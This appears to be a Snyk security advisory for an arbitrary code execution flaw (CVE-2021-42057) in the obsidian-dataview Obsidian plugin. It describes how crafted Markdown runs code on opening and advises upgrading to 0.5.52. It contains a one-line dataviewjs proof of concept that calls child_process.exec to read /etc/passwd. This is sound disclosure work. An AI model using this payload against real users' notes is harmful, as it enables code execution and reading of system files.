Arbitrary Code Execution Affecting obsidian-dataview package, versions <0.5.52


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.15% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-OBSIDIANDATAVIEW-1912069
  • published5 Nov 2021
  • disclosed5 Nov 2021
  • creditTrenton Ivey

Introduced: 5 Nov 2021

CVE-2021-42057  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade obsidian-dataview to version 0.5.52 or higher.

Overview

obsidian-dataview is an Advanced data views for Obsidian.md.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The evalInContext function executes user input, which allows an attacker to craft malicious Markdown files that will execute arbitrary code once opened.

PoC

```dataviewjs
require("child_process").exec("cat /etc/passwd",(_0,stdout,_1) => dv.span(stdout));""

CVSS Scores

version 3.1